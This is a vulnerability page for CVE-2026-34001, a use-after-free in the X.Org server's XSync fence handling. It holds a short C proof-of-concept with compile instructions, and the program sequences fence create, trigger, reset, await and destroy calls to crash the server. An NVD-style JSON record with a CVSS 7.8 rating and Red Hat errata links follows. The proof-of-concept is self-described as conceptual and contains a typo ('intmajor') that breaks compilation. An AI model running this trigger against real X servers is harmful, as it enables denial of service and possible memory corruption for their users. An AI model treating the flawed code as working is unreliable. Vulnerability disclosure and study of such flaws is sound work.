CVE-2026-34001

/* * PoC for CVE-2026-34001 (X.Org X Server miSyncTriggerFence UAF) * This is a conceptual PoC demonstrating the trigger mechanism. * Compile: gcc -o poc poc.c -lX11 -lXext */ #include <X11/Xlib.h> #include <X11/extensions/sync.h> #include <stdio.h> #include <stdlib.h> int main() { Display *dpy; XSyncFence fence; intmajor, minor; dpy = XOpenDisplay(NULL); if (!dpy) { fprintf(stderr, "Cannot open display\n"); return 1; } if (!XSyncInitialize(dpy, &major, &minor)) { fprintf(stderr, "XSync not available\n"); XCloseDisplay(dpy); return 1; } // Create and trigger fence to hit vulnerable path fence = XSyncCreateFence(dpy, DefaultRootWindow(dpy), 0); XSyncTriggerFence(dpy, fence); XSyncResetFence(dpy, fence); // Attempt to trigger UAF condition XSyncAwaitFence(dpy, &fence, 1); XSyncDestroyFence(dpy, fence); XCloseDisplay(dpy); printf("[+] PoC executed. Check Xorg logs for crash.\n"); return 0; }

{"cve": {"id": "CVE-2026-34001", "sourceIdentifier": "[email protected]", "published": "2026-04-23T16:16:24.777", "lastModified": "2026-05-20T04:16:52.863", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the X.Org X server. This use-after-free vulnerability occurs in the XSYNC fence triggering logic, specifically within the miSyncTriggerFence() function. An attacker with access to the X11 server can exploit this without user interaction, leading to a server crash and potentially enabling memory corruption. This could result in a denial of service or further compromise of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10739", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11352", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11369", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11388", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11656", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11692", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:13414", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19125", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19342", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19343", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19344", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-34001", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "source": "[email protected]"}]}}